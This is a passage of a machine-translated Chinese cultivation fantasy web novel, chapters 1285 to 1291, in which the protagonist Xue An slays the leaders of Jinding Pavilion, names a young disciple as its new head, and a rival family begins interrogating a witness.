    After all, this water mirror died directly in front of him, how could he accept it.


    But he hadn''t taken a few steps just now, Xue An waved his hand, a sword light cut straight past.


    Ci Yun shook his whole body, and then froze in place, and then saw a thin red line appear between his eyebrows.


    The red line gradually expanded and spread in an instant.


    Then the Ciyun who was cut in half from the middle fell down from left to right.


    Looking at his incision, it was extremely smooth, like a mirror, and even no blood oozes out.


    That''s because Jian Guang was too fast, and his blood was evaporated in an instant.


    This scene horrified all those who witnessed it.


    Although this Xiuwen was extremely jealous of Xue An, now that two elders have died in a row, plus Fu Guang who just died, three senior members of Jinding Pavilion have been killed by Xue An.


    If Xiuwen is still shrinking now, then he won''t be the old sect master.


    So he roared, "You dare to be so rampant in front of me, die for me!"


    boom!


    Countless golden light talisman wheels swept in mightily.


    But Xue An didn''t even look at it. Instead, he smiled coldly: "Your apprentice acts recklessly, and you as a teacher have to bear a large part of the responsibility! As for rampant... hehe! Today, I will be in front of you. I will show you the noodles!"


    After all, but seeing Xue An''s eyes flashed with brilliance.


    A monstrous might surged from Xue An''s body.


    These blasting golden light talisman wheels did not even startle, and under the sweep of Xue An''s momentum, they instantly turned into powder.


    At the same time, Xue An turned his head, looked through the crowd, and looked straight at this group of wealthy boys.


    As far as he could see, these usually extremely arrogant giants, young and old, or daughters, all showed panic.


    Especially the three of Shengmanyu, Lu Shifa, and Su Junneng, who had had a feast with Xue An, were even more divided and their faces were ashamed.


    They didn''t expect things to become what they are now.


    I thought that Xue An was just an ordinary teenager, so he ridiculed him wantonly, but now he is beaten mercilessly by the facts.


    As for Shengmanyu, when she remembered what she had said to Xue An before, she was even more terrified.


    It turns out that what he said before, the Sheng family is no more than ants in his eyes, it is not a lie!


    Because under such unparalleled strength, the so-called power and wealth have become extremely ridiculous.


    Shengmanyu thought in his heart.


    Lu Shifa trembled even more, suddenly remembering something, suddenly raised his hand to Shengmanyu, and shouted.


    "My lord, forgive me! These things are instigated by this bitch has nothing to do with me..."


    puff!


    Before the words came to an end, Lu Shifa''s body exploded completely, and the blood mixed with visceral fragments splashed all around him.


    Then Xue An said coldly: "Kill if it doesn''t matter!"


    Shengmanyu was very close to Lu Shifa, and naturally he was splashed with blood all over his body.


    But she didn''t dare to wipe it, because what Lu Shifa had just said made her tremble, and she could only look at Xue An with a begging gaze.


    "Rao..."


    The fate has not yet been exported, and her flower-like cold face burst open.


    It seemed that Xue Anzhen would kill himself. The dead body in Shengman language stood for a while before he slowly fell to the ground.


    Then Xue An raised his head and looked at Xiuwen, who was about to be mad, and said lightly: "Now I will kill in front of you, you...what can you do with me?"

 Chapter 1286： 3 points for contempt, 7 points for arrogance

    Xiuwen, who was originally furious, suddenly calmed down at this moment, and then stared at Xue An with extremely cold eyes.


    "Young man, I wanted to let you go, but you forced me to do everything! You..."


    Before he finished speaking, I saw Xue An, who was originally standing on the high platform, suddenly lost his track. When he reappeared, he had already come behind Xiuwen and blasted out with a punch.


    Although Xiuwen had a feeling, Xue An''s speed was too fast, so fast that he had no time to react, so he could only bite the bullet and take the punch.


    Bang!


    After a muffled noise, I saw that the old gatekeeper of the Golden Ding Pavilion was like a kite with a broken line, he was directly blasted into the sky, and then smashed into the ground of the square.


    The entire Jinding Pavilion seemed to tremble slightly because of this, and the disciples present were all shocked.


    At the same time, I saw Xue An standing in the void with his hand, and said lightly: "There is so much nonsense! And you think, I use you to let me go?"


    There was smoke and dust in the big hole in the ground, and people stared blankly.


    Many people have mentioned their throats in their hearts.


    The old sect master... just so defeated?


    This thought had just arisen, and everyone suddenly felt a rumbling sound from under their feet, and a mighty momentum rushed out from the big hole that was smashed out.


    As far as the momentum can be, the disturbing situation changes its color.


    "This is... the breath of the Immortal King!" someone exclaimed in exclamation.


    Then he heard a burst of arrogant laughter coming from underground.


    "Today we know the vastness of the heavens!"


    With the voice, but seeing a golden light rising into the sky, it appeared in the sky in an instant.


    When the light and shadow dissipated, standing inside was a middle-aged man with a white face and black beard and hair.


    It is the revision.


    But seeing the Xiuwen at this time, he swept away the old age, surrounded by golden light, and his face was full of triumph. Then he grinned at the opposite Xue An.


    "Young man, thank you for this punch! I didn''t expect that I had been struggling for three hundred years without entering the realm, and I was actually broken by your punch!"


    That''s right!


    This Xiuwen has been in seclusion for three hundred years, but has been unable to save, even he is completely desperate.


    Unexpectedly, under Xue An''s punch today, he actually blasted his realm away.


    How can this not surprise Xiuwen.


    Xue An raised his eyebrows slightly, and then said with a faint smile: "Half-step fairy king?"


    "Hahahaha! Good eyesight! That''s right, I am now half a step into the realm of the immortal king, in the cave, invincible!"


    Xiuwen said confidently, and then smiled at Xue Ansen, "Young man, if you give up now, I can still give you a good time!"


    Between the words, there was an incomparably strong confidence, and the four fields were shaken.


    Many of the disciples of Jinding Pavilion showed a look of relief, and some were trembling with surprise.


    After all, that is the cultivation base of the half-step Immortal King!


    This level of strength is not to say that it disregards the heroes, at least it can be regarded as one of the few in this world.


    No matter how powerful this young man is, he can''t be the opponent of such a powerful man!


    Many people thought of it silently.


    Unexpectedly, under this situation, Xue An, standing in the void, also smiled.


    Three points of contempt in the smile, seven points of arrogance!


    "Give up? Haha, a half-step fairy king, what a big tone!"


    Everyone couldn''t help but their eyes widened.


    Just a mere...a half-step fairy king?


    These words sound like arrogance, it''s just like death!


    Xiuwen is no exception. When he saw his face change, he said gloomily: "Young man, I don''t know where you are confident, but you have to know that there is a heaven and a man..."


    boom!


    Before the words fell, Xue An, who had appeared next to him without knowing when, hit his face with a punch, directly blasting this Xiuwen out.


    Then Xue An slowly closed his fists and said lightly: "Sorry, I''m tired of hearing these words, can I change them to something fresh?"


    Xiuwen, who had been smashed thousands of feet away, finally stood up. Looking at him at this moment, half of his face was swollen and his squeezed eyes could not be opened.


    Although his face had returned to normal after a few golden light flashes, the sharp pain and the humiliation in front of so many people still made him furious.


    "I''m going to kill you!" Xiuwen''s eyes were crimson, and the golden light around her body was more like substance, condensing into a huge rune wheel, and then thundered at Xue An.


    Xue An didn''t evade and smiled slightly, "This is a bit interesting! It''s a pity..."


    With that, Xue An raised his fist and banged straight!


    Click!


    The rune wheel that was spinning crazily stopped instantly, cracks began to emerge from Xue An''s fist and spread quickly.


    boom!


    The rune burst instantly.


    And Xue An walked out of the golden light fragments complacent, and said coldly: "Unfortunately, it''s not enough!"


    Xiuwen couldn''t believe his eyes.


    You must know that after being promoted to the Half-Step Immortal King, his strength has increased by more than a hundredfold, and this rune turns into a substantive terrorist killer.


    Unexpectedly, even the white-clothed boy couldn''t resist a punch.


    But his reaction was quick, and when he saw that one blow was unsuccessful, he immediately began to prepare for the second blow.


    But at this moment, he was horrified to discover that Xue An, who was still standing in the distance just now, suddenly disappeared.


    The hair on Xiuwen''s whole body was erected instantly, and the golden light surging around her body directly condensed into a set of golden light armor, trying to protect herself.


    His reaction was not unpleasant, but it was still a bit too late.


    Only Xue An''s cold voice came from behind him.


    "Have you played enough? If you have enough, please go and die!"


    The distance was so close that Xiuwen could even feel Xue An''s breath.


    This caused Xiuwen''s hair to stand up instantly and then he blasted backward without hesitation.


    But at this moment, a cold hand directly pinched his neck from behind, and then shook it suddenly.


    Xiuwen felt that his connection with the surrounding world was cut off instantly.


    The imposing momentum that had just returned was even more like a deflated ball, instantly languishing.


    But Xiuwen is worthy of being a powerhouse of the Half-Step Immortal King. Although Xue An directly cut off the connection with the world, he rose up in his entire body in an instant and tried to resist.


    But at this moment, a vast ocean-like divine mind directly wrapped the revision.


    Xiuwen wailed in horror, "No..."


    But immediately, he was cut off by this divine mind, and even his control of his body was stripped away, becoming a "corpse" that could only see and listen, but couldn''t make any response.


    Xue An released his hand, took a step back, and said lightly: "Is there anything else I want to say?"

 Chapter 1287： Beautiful fireworks

    Xiu Wen was floating quietly in the air, slowly turning around, only to see Xue An.


    But at this time, there is no longer the joy of just breaking through the writing at this time, and it is replaced by endless panic and despair.


    The audience was even quieter, even the sound of breathing disappeared.


    The people looked tremblingly.


    Then Xue An tilted his head slightly, "Oh, forget you can''t talk now!"


    As he said, he waved his hand casually, Xiuwen only felt his mouth loose before he could speak.


    And the first sentence he said was not to beg for mercy, but to say in a trembling tone: "You...you can''t kill me!"


    "Oh? Why?" Xue An raised his eyebrows slightly and asked softly.


    "Because...because if you kill me, then Jinding Pavilion will completely cut off the inheritance, and within a few days it will be a once-in-a-hundred-year Taoism Grand Contest. If you have killed Fuguang now, if you kill me again, then Jinguangdongtian will definitely lose! I..."


    Xiuwen was talking about it. Xue An waved his hand and interrupted him, "What if you lose?"


    "If it loses, the Golden Light Cave Sky will most likely be removed from its name and be divided by the other big cave heavens. At that time, all the people here will become the slaves of others."


    Xiuwen tried his best to describe the tragedy after the defeat.


    But I didn''t want Xue An to hear this, but just smiled coldly, and then asked with interest: "Then what''s your previous results?"


    Xiuwen''s face turned white and whispered: "Yes...the last one!"


    Xue An raised his eyebrows, "Oh? In that case, what is the difference between you and immortality? After all, you are the last one when you are alive?"


    As he said, Xue An slowly raised his fist and watched coldly.


    Xiuwen was so scared that his teeth were trembling, and he said in horror: "No... don''t kill me! Although it was the last one before, it doesn''t mean it''s the same this time! You killed me, it won''t do you any good!"


    Xue An just smiled coldly, "Benefits? You are dead, that is the greatest benefit! And you can rest assured that you are dead, this time the Orthodox Contest, someone will participate for you!"


    With the voice, Xue An''s fist blasted closer to Xiuwen.


    Xiuwen was so scared that he let out a scream like a pig, "No, you killed me, if the demons and ghosts in this world are unrest, who else can suppress it? After all, the big seal of Jinding Pavilion is in my hand..."


    Before he finished speaking, a white light appeared in Xue An''s other hand, and a jade seal was floating in the white light.


    Xue An said lightly: "Are you talking about this?"


    Xiuwen was dumbfounded, "This...this... why is it in your hands?"


    He couldn''t understand at all, when did this thing ran into Xue An''s hands.


    Xue An sneered coldly, "When Fu Guang died just now, I took it out of his sea of ??consciousness! As for the demon you just mentioned...none can get away!"


    After all, Xue An didn''t hesitate anymore, and hit directly with a punch.


    boom!


    The fist slammed into Xiuwen''s face and rushed out from behind.


    Xiuwen''s head was directly blasted to smash, and it was also smashed together, as well as his Sea of ??Consciousness God Soul that had been imprisoned by Xue An.


    This penance for three hundred years, has not been able to make money, and finally broke through to become a half-step fairy king, but was only proud of the time of a cup of tea, and then Xue An directly smashed his head to Xiuwen. history.


    After doing all this, Xue An slowly retracted his arm, and then shivered slightly, and a flame appeared on it, directly roasting all the blood stains.


    Then Xue An lowered his head to overlook the entire square.


    On the square at this moment, whether it is the true biography of the inner door, or the ordinary disciple who has just started, they are all shaken.


    Especially when Xue An looked down, he lowered his head in panic, and he didn''t even dare to look at Xue An.


    Because Xue An''s strength was too amazing.


    From the beginning to the present, he has killed two heads of Jinding Pavilion, along with two elders and two inner disciples.


    Such strength is enough to make the proudest person bow his head!


    But this is not all true.


    For example, Lu Chuzhen, who was used by Fu Guang and finally abandoned it, looked at Xue An with shock and blank eyes.


    Just as at a loss as her, there is Sheng Miaotong.


    In fact, this young girl has completely fallen into the abyss of confusion at this moment and cannot extricate herself from it.


    Because just now, her sister died in front of her.


    Even Sheng Miaotong saw the bursting head of Shengmanyu.


    It stands to reason that Sheng Miaotong should feel infinite anger when his sister died in front of him.


    In fact, it was true, Sheng Miaotong felt full of anger at that moment.


    But somehow, in this full of anger, there is actually a hint of relief.


    It was as if something that had been pressing on the bottom of my heart suddenly disappeared.


    Sheng Miaotong was confused by this feeling, and everything Xue An showed afterwards deepened her feeling.


    Between talking and laughing, the powerhouse of the Immortal King class was put to death for a while, and everyone was horrified and bowed in the overlook.


    Sheng Miaotong, who has admired heroes since childhood, is full of admiration.


    And this feeling, mixed with the anger just now, blanked Sheng Miaotong''s brain.


    At the same time, there was a figure doing everything it could, slowly retreating to the edge of the field without attracting anyone''s attention.


    With his head down, his whole body was wet with cold sweat from extreme fear.


    He prayed silently in his heart, don''t notice me, don''t notice me!


    But things in the world are often like this, the more you are afraid of something, the more things will happen.


    When his figure had retreated into the crowd, only a few steps away from the square exit.


    Just listen to Xue An coldly said: "Don''t say hello just left like this?"


    The sound was not loud, but to this person''s ears, it was no less than a thunderbolt in the sky. He suddenly jumped up, but he didn''t even dare to lift his head. Instead, he burned his whole body and ran away.


    Because he knows very well that if he delays for a moment, his danger will increase.


    After all, as a running dog of Lu Shifa, Su Junneng had also mocked Xue An a lot before!


    So he knew very well that in front of this killing god, he could not be spared at all!


    But at the moment his figure flew up, he heard a muffled noise from Peng.


    His body exploded directly in the air, and the blood bloomed like fireworks before falling like rain.


    Xue An, who didn''t know when he had appeared in front of Lu Chuzhen, sighed, "What a beautiful firework! What do you think?"


    Lu Chuzhen turned pale, then lowered her head, "Yes!"


    Xue An smiled, "Do you have nothing to say?"

 Chapter 1288： Life and death are between his thoughts!

    Lu Chuzhen''s body was trembling slightly, and she shook her head slightly.


    "My lord, I don''t have much to say now. If you want to kill, you have to kill you!"


    At this moment, Lu Chuzhen is already heartbroken.


    Because it is wrong to be wrong, and there is no need to talk about everything at the beginning.


    Xue An nodded, "Okay! In that case, I will fulfill you!"


    After that, Xue An raised his hand and called, and the two soul-cutting lamps originally held in Xing Yushu''s hand flew into the air and attacked Lu Chuzhen.


    Lu Chuzhen gave Xue An a grateful look, and then closed his eyes resignedly.


    Being able to die under the two soul-slashing lamps he gave to Xing Yuhe at the beginning, Lu Chuzhen felt that there was no regret!


    But when the two soul-slashing lamps rushed to the front, the original swift momentum suddenly stagnated, and then stayed in front of Lu Chuzhen, and began to tremble slightly.


    Lu Chuzhen opened his eyes in astonishment, staring at the scene blankly, and immediately as if he felt something, tears filled his eyes quickly.


    At the same time, Xue An said coldly: "It seems that he doesn''t want to hurt you even if he is dead! Forget it, I''m an outsider anyway, since he doesn''t want to kill you, then you go down the mountain! Remember! , Don��t step into this place in the future! Otherwise, kill!"


    Lu Chuzhen trembled all over, then lowered her head deeply, "Yes!"


    Having said that, she knelt down on the ground respectfully and tremblingly said: "My lord, the concubine knows her sins are serious. After going down the mountain, she will hide her name and never return. But before leaving, can I take these two lamps with me? Slay the Soul Lantern and leave together?"


    After all, Lu Chuzhen looked at Xue An hopefully.


    Xue An was noncommittal, but turned his attention to Xing Yushu who was standing not far away.


    The young man just woke up from the shock at this moment. When he noticed Xue An''s gaze, he couldn''t help but be taken aback.


    "The Soul Slashing Lantern was left to you by your grandfather. How to deal with it is your business! You can figure it out!"


    After Xue An said, he left here.


    Xing Yushu took a deep look at Lu Chuzhen, who was kneeling on the ground, with complicated eyes.


    Knowing all the past, he naturally understands what this woman has done.


    It can be said that it was because of her betrayal that her grandfather''s Dao heart was broken, and the cultivation base of the outer disciple was finally stopped, and he descended sadly.


    The root of all tragedies originated from her.


    It stands to reason that Xing Yushu should be full of anger.


    But now, he can only answer silently.


    Because the two soul-slashing lamps Xing Yuhe left him were floating in front of her, as if they were protecting her.


    After a long time, Xing Yushu said solemnly: "It stands to reason that I should kill you immediately! To repay you for deceiving my grandpa!"


    Lu Chuzhen trembled all over, but did not say a word.


    However, the two Soul Slashing Lamps shook slightly, and a little candlelight appeared.


    "Let''s take these two soul-slashing lamps! Don''t let me see you again!" Xing Yushu said coldly, and turned away.


    Lu Chuzhen had already burst into tears at some point, and then bowed her head deeply and said softly, "Thank you!"


    "Don''t thank me, I never forgive you! I just don''t want my grandfather''s last obsession to dissipate! And...do you really think he hasn''t understood what happened for so many years? He just...don''t want to say That''s it!" Xing Yu didn''t return the head of the book, he said coldly, and just left in a big stride.


    Lu Chuzhen was shocked all over, with a dazed look, and whispered softly: "Yes! You are so smart, and among the brothers who worshipped the mountain gate together, your cultivation has always been top-notch, so how can you look at it? Can��t tell what happened back then? So you just didn��t want to drag me down and just went down the mountain alone?"


    Speaking of the end, Lu Chuzhen finally couldn''t help sobbing softly, and then cherished and cherished the two soul-slashing lamps, and respectfully bent over at the distant Xing Yushu and Xue An. Putting on his robe sleeves, turning into a streamer, went down the mountain.


    Lu Chuzhen is gone. 228 Literature Network


    Xing Yushu''s expression was also a little sad.


    Whether it is not worth it for his grandfather''s original decision, or whether he is angry because of the filth of the Jinding Pavilion, Xing Yushu''s heart is a little heavy.


    Xue An only smiled when he saw this.


    After more than three thousand years of changes in the world, Xue An has seen too many betrayals and filth, but he has also seen feelings that are enough to move a stubborn stone.


    So in the face of all this, he just smiled.


    At the same time, there was deathly silence on the entire square, and all the disciples of Jinding Pavilion were waiting for their trial with pale faces.


    Is it raw? Is it dead?


    Now it''s between the thoughts of the white boy.


    Xue An looked around the audience and said coldly: "Now that Xiuwen and Fu Guang are dead, you...are you dissatisfied?"


    Everyone trembled together, and then exchanged glances in horror.


    A joke, who dares to have an opinion in the face of such killing gods?


    Didn''t you see the bodies of Shui Jing and Ci Yun and others on the ground?


    Isn''t that a naked lesson?


    Xue An nodded in satisfaction, "Very good! It seems that you all have no objections. In this case, then...he will be the head of the Jinding Pavilion!"


    Xue An pointed to Xing Yushu with a bewildered look.


    "I...I?" Xing Yushu asked with eyes widened and his face filled with surprise.


    Xue An nodded. "Yes, it''s you!"


    Xing Yushu was silly.


    Not only him, but everyone in the room was stupid.


    Because just now, Xing Yushu was still an ordinary disciple who had just passed the opening ceremony and worshipped the Golden Ding Pavilion.


    In a blink of an eye, how could he become the head of Jinding Pavilion?


    This sounds incredible.


    And once it becomes a fact, the Golden Ding Pavilion will immediately become the laughing stock among the seven caves.


    Before this, the strength of the Golden Ding Pavilion was the worst among the seven caves, occupying the last place in the Taoist Grand Competition all the year round.


    If a disciple who is not even a true immortal becomes the head, wouldn''t it be more coveted and laughed by all parties?


    The hearts of many elders suddenly fell into the abyss.


    Xing Yushu is also quite self-aware, and shook his head again and again: "My lord, you are laughing! How can my current strength become the head of this place? I think it is better for you to sit here!"


    This proposal makes many people shineYes!


    Xue An has just proved his unquestionable strength through facts, if he becomes the head, then....


    Unfortunately, this beautiful fantasy was quickly shattered by Xue An ruthlessly.


    Seeing Xue An shook his head and said: "I won''t be the head of any labor! That''s the way it''s settled. I said you are you!"


    As he said, Xue An waved his hand and threw the jade seal that symbolized the power of Jinding Pavilion.


    Xing Yushu was busy taking it in his hands, but his face was still full of panic.


    Please remember the domain name of this book��s first publication:. The fastest mobile version update URL:

 Chapter 1289： I killed your sister, do you hate me...

    Xue An showed white teeth and smiled slightly: "Aren''t you worried about your lack of strength? Don''t worry! With me, I will be able to train you to be a strong person before the start of this Daoist Competition!"


    Xing Yushu could only bow his head deeply and whispered: "Yes!"


    He bowed his head.


    The others on the square couldn''t help but stare at each other.


    How to do?


    Bye or not?


    This doubt was solved after seeing the terror in each other''s eyes.


    I saw the Jinding Pavilion going up and down, whether it was an elder or a disciple, bowed and bowed, shouting in unison.


    "Disciple, congratulations to Head Xing on his ascendance!"


    Facing the pilgrimage from all directions, Xing Yushu was quite nervous and couldn''t help looking at Xue An as if asking for help.


    But at this time, Xue An didn''t pay attention to this at all, but went straight to Sheng Miaotong, who was standing beside the crowd.


    At this moment, Sheng Miaotong still has not recovered from the previous dazedness.


    It wasn''t until Xue An walked to the front that she subconsciously raised her head and looked towards Xue An.


    Xue An smiled, "I killed your sister, do you hate me?"


    This question caused the surrounding crowd to instantly quiet down, and subconsciously stepped back a few steps, avoiding it and dodge a big circle.


    Only the old slave standing behind Sheng Miaotong did not leave.


    But he was trembling now, and looked at Sheng Miaotong with anxious eyes, praying wildly in his heart.


    Second lady, you must stay calm, and never irritate this murderous grandpa! Otherwise, we all can''t leave!


    However, his prayers didn''t have any effect, and the confusion in Sheng Miaotong''s eyes gradually faded, and then he looked at Xue An with staring eyes, and finally nodded slowly.


    "hate!"


    This answer made the old slave almost pee in his pants, and the surrounding crowd was in a low uproar.


    Many people secretly shook their heads, believing that this girl''s answer is definitely not good.


    Unexpectedly, Xue An''s mouth gradually evoked a playful smile, "Oh? You say that, aren''t you afraid that I will kill you?"


    Sheng Miaotong shook his head, "Not afraid!"


    At this time, the crowd was a slight commotion.


    This old slave who had followed Sheng Miaotong since she was a child closed his eyes in despair, and was ready to die together.


    If it were someone else, the old slave dared to hold a glimmer of hope.


    But Xue An��s strength in this battle was too amazing. It was so amazing that when the old slave remembered that he had dared to stop Xue An��s path, and tried to do it, he took a cold breath. .


    What strength has any status.


    Back in the Xiaocheng Inn, he still had some psychological advantages by relying on the power of the Sheng family.


    But now, these so-called psychological advantages have also disappeared with the headshot of Shengman.


    This old slave had no doubt that if Xue An wanted to do something, he could easily kill all the people present.


    Therefore, when he saw that Sheng Miaotong responded to Xue An''s words in this way, he was so scared that he had given up all hope.


    Unexpectedly, Xue An didn''t get as angry as everyone expected when faced with such an answer. Instead, he smiled slightly, "Oh? Why?"


    "Because you are not a murderer of innocent people!" Sheng Miaotong said, looking at Xue An very seriously.


    The audience was stunned.


    Killed so many people in a row, but in this Sheng Miaotong''s mouth, he didn''t kill innocent people indiscriminately?


    As if perceiving everyone''s doubts, Sheng Miaotong went on to say: "Because every person you kill is their own responsibility, and they deserve to die!"


    Xue An said lightly: "What about your sister? Is she the same?"


    The atmosphere suddenly became tense.


    The old slave who had seen a glimmer of hope for survival, his heartbeat was almost bursting.


    Auntie, don''t talk nonsense!


    Sheng Miaotong nodded, "Yes, she is the same! Even she is more damn! Because from the beginning, she was provoking you repeatedly, and even tried to collude with Ciyun and others to deal with you!"


    "According to you, shouldn''t you hate me?" Xue An asked with interest.


    Sheng Miaotong''s eyebrows are drooping, and there is no longer the usual cheerfulness in his face, instead his face is full of sadness.


    "She''s damned, but it''s also my sister! If you kill her, I will naturally hate you too!"


    Xue An stopped talking, but looked at the girl quietly.


    With his silence, the audience also became silent.


    It was not until a while later that Xue An''s eyes flashed with appreciation, and then nodded, "That''s good!"


    After that, Xue An turned around and left.


    The old slave felt soft and almost fell to his knees, letting out a sigh of relief in his heart.


    Fortunately, his fortunes were saved.


    But at this moment, this Sheng Miaotong suddenly raised his head and shouted at Xue An''s back.


    "Although I think so, it doesn''t mean that my family has the same opinion, so when I go back, my family and Lu family will never give up, you..."


    Sheng Miaotong didn''t say what he said, but the meaning on his face was already obvious.


    She wanted to remind Xue An to take care of herself and it is best to take precautions in advance.


    But Xue An didn''t even stop, and said without looking back: "Okay! Anyway, being idle is also being idle. If you want to come, let them come!"


    After all, Xue An left the square.


    Sheng Miaotong looked at Xue An''s away back blankly, tears flickering in his eyes, not knowing what he was thinking.


    The old slave stepped forward with trepidation and whispered: "Second Miss, don''t stay here for long, let''s leave as soon as possible!"


    As soon as the voice fell, Sheng Miaotong saw large tears slipping into his eyes, and then looked at the old slave in a daze.


    "You said... will I see him again?"


    The old slave''s scalp tightened, and he smiled forcefully: "It should...should do it! Second Miss, let''s go first, otherwise it will change later!"


    Because he found that many people around him looked wrong at them, which naturally made him frightened.


    As for what Sheng Miaotong asked if he could see it again...


    This old slave thought bitterly.


    I don''t know if you and he can see him, but I never want to see this grandfather killer again.


    Because it''s so exciting!


    In the end, Sheng Miaotong also left the Golden Ding Pavilion with the few remaining servants.


    This battle is temporarily brought to an end The atmosphere in Jinding Pavilion is solemn and everyone is in danger.


    Because people don''t know what Xue An wants Xing Yushu to do.


    Seeing that the date of the Taoist Grand Competition is getting closer and closer, after this big storm, the Jinding Pavilion has been greatly injured, what can be achieved in the next Taoist Grand Competition?


    This is the question mark that appears in everyone''s mind.


    at the same time.


    Various news about the great change of Jinding Pavilion also spread rapidly at a terrifying speed.


    Please remember the domain name of this book��s first publication:. The fastest mobile version update URL:

 Chapter 1290： 1 battle becomes a mess

    "What? The head of Jinding Pavilion Fuguang died?" Someone asked with horror.


    "It''s not just Fuguang? Even the Xiuwen that has not been published for three hundred years is dead!" Another person sighed.


    "Who did it? But other strong men in the cave invaded?" Someone asked in shock.


    "No! Because only one of the two heads of Jinding Pavilion was killed!"


    "What? How is this possible?"


    "Yeah! This is absolutely impossible. Even if Jinding Pavilion''s strength has declined severely over the past few hundred years, the two heads are not easy people. How can it be killed by one person? This is definitely a rumor?" Do not believe it.


    "Hehe, I didn''t believe it when I first heard this rumor, but you know that it was not just the two heads of the Jinding Pavilion who died this time. Almost all of the big wealthy people such as the Sheng family and the Lu family were injured! Now that the news has spread, we cannot help but believe it!"


    "This����."


    Everyone couldn''t help being stunned.


    Not to mention killing two heads, he even offended the Shengjia Lu family and other wealthy families in the golden cave.


    How domineering is this man who does it?


    "Who is the one who did it?" someone couldn''t help but asked in a low voice.


    "I heard from the people in the Jinding Pavilion who witnessed this battle say that he was a young man in white clothes and his name was Xue An!"


    "Xue An..." everyone couldn''t help whispering softly when they heard the words, their eyes all showed horror.


    A young man can disturb the situation and even make the strong give the first!


    This level of strength is simply incredible.


    But because of this, the name Xue An spread rapidly at an explosive rate.


    Almost just one or two daylight scenes have spread throughout this entire golden cave sky.


    Those who heard it were all shocked.


    Small town, Santo��s Mansion.


    Su Junneng''s father was sitting in the study while reading a book, but a flustered footstep from outside disrupted the tranquility in the study.


    He raised his head impatiently, and shouted in a deep voice, "Who?"


    Following the voice, the study door was pushed open, and the chief butler of the City Lord''s Mansion staggered in, and then said breathlessly.


    "Big...sir, big... big... big things are bad!"


    Father Su frowned, "What kind of demeanor is he panicking? What happened?"


    Finally, the housekeeper panted his breath well, and then said tremblingly, "Master, he...he..."


    Upon hearing that it was about his son, Su''s father just swept away indifferently, replaced by a worried face.


    "What happened to Junneng?"


    The housekeeper��s anxious tears almost came down, "Master, he is dead!"


    "Dead?" Su''s father was startled, then furious, "Who did it? I''m going to kill his whole family!"


    With that, he got up and rushed out.


    But at this time, the butler stopped Su Father.


    "My lord, calm down!"


    "Calm down, how can I be calm? I want to see who killed my son!" Father Su roared in anger.


    But at this moment, the housekeeper leaned forward to Father Su and said something solemnly in his ear.


    After listening to it, Su''s aggressive father instantly wilted like a frustrated ball, and said in a panic: "You...but what you said is true?"


    "It''s true, it''s spread out now! So I think adults should think twice before acting!"


    Hearing the words of the housekeeper, Su''s face turned green and white, as if thinking about something.


    But at this moment, there was a sudden noise from the front yard.


    "What''s the matter?" Father Su trembled all over.


    The housekeeper turned around and wanted to explore outside.


    But before he walked out of the door of the study, a group of people rushed over aggressively.


    As soon as he saw these people, Su Junneng''s father, the city lord in charge of the city, his face instantly became extremely ugly.


    Because the people who came were all representatives of various forces in the city.


    These people do not come early or late, but come at this time, obviously with a less simple purpose.


    really.


    When these people walked to and behind the study door, they all stood quietly, and none of them bowed to salute.


    Father Su''s complexion became more and more gloomy, but a look of fear flashed in his eyes.


    But before he could speak, his chief steward said first: "What are you going to do? Why do you break into the city lord''s mansion privately? And why don''t you kneel after seeing the city lord?"


    The questioning voice was full of chills.


    At least many people in the group were hesitant.


    But the few in the lead just smiled coldly.


    "City Lord? Hehe, he will soon be gone!"


    "What do you want to do? You want to rebel but you can''t?" the housekeeper screamed.


    But as soon as the voice fell, a cold light flashed, and the housekeeper fell to the ground in a different place.


    "Steward!" Father Su exclaimed.


    At the same time, I saw the hands-on sneer at Father Su.


    "Surnamed Su, your son provokes an unworldly powerhouse. If you are still the lord of this city, everyone in the city will fall into a dead end, so for the sake of safety, you should abdicate obediently!"


    Father Su looked at these indifferent subordinates, and his heart gradually sank to the bottom.


    It''s the day.


    There was a chaos in the city, Su''s father and dozens of people in the city lord��s mansion all died, and the lord transposed.


    And this is just a very inconspicuous wave in this big storm.


    When the news was completely spread, almost everyone turned their attention to the two giants of the Sheng family and the Lu family.


    As one of the top giants in Jinguangdongtian, the two of them suffered the most in this incident.


    The fallen Lu Shifa of the Lu family was a direct descendant with very good talent, and he was valued by the family, otherwise he would not be sent to the Golden Ding Pavilion for further study.


    Not to mention the Sheng family, how glorious the Sheng family sisters spent, they also died in this storm.


    Coupled with the domineering and domineering performance of the Shenglu family on weekdays, many people wanted to see how they would react this time.


    But unexpectedly, Lu was silent.


    No matter how aggressive the public opinion outside, the Lu family did not express anything.


    This can''t help but surprise many people who are waiting to see the excitement.


    what happened?


    Could it be that this time, the always arrogant Lu family is also afraid of it?


    at the same time.


    In a blessed place in Jinguangdongtian.


    Sheng Miaotong, who had returned from a long distance at the fastest possible speed, was welcomed into the mansion by several family elders as soon as he entered the jurisdiction of the Sheng family .


    Then the gates of the entire Shengjia Mansion were closed, and no one was allowed to enter or leave.


    And in a tightly guarded secret room behind the Sheng family mansion.


    The twelve elders of the Sheng family, the leaders of each house, the person in charge of each trade route...


    In short, not one of the core figures of the entire Sheng family remained, all appeared in this secret room.


    The head of the Sheng family, Sheng Miaotong''s father, Sheng Yihua, bowed and stood by the seat.


    And sitting on the front seat was an old man who was immortal and not arrogant.


    Next to him, there is a chair, on which sits an old lady in splendid clothes but with a mean face.


    When Sheng Miaotong walked into this secret room, he heard the old man say lightly: "Hide the door!"


    There was a sound of mechanical turning, and the huge door slowly closed.

 Chapter 1291： Interrogation

    The moment the door was closed, this huge secret room suddenly became gloomy and terrifying.


    Sheng Miaotong stood alone in the center of the field. Opposite her, there was a large seat extending upward in the shape of a ladder.


    All the senior members of the Sheng family sat on it, staring at her coldly.


    This silent silence made the atmosphere extremely depressing.


    Sheng Miaotong lowered his eyes and stood silently.


    a long time.


    I saw the old man sitting on the front seat slightly nodding at Sheng Yihua.


    Sheng Yihua turned his head to look at Sheng Miaotong, and said in a deep voice: "Let''s talk about it, what''s going on!"


    Although everyone in the Sheng family has known what happened that day through various channels, as a witness who witnessed the whole process, Sheng Miaotong''s words are still crucial.


    Sheng Miaotong did not look up, but was silent for a moment, and then began to describe the cause and effect of the whole thing in a very calm tone.


    The secret room was quiet and terrible, only Sheng Miaotong''s voice was flowing slowly.


    When I heard Sheng Miaotong said that he had met Xue An for the first time outside the small city, and was very curious about him, and even chased him desperately.


    There was a slight commotion in the crowd.


    The sour old lady sitting next to the seat even snorted coldly from her nostrils.


    For all this, Sheng Miaotong didn''t realize it, and continued to narrate calmly and objectively.


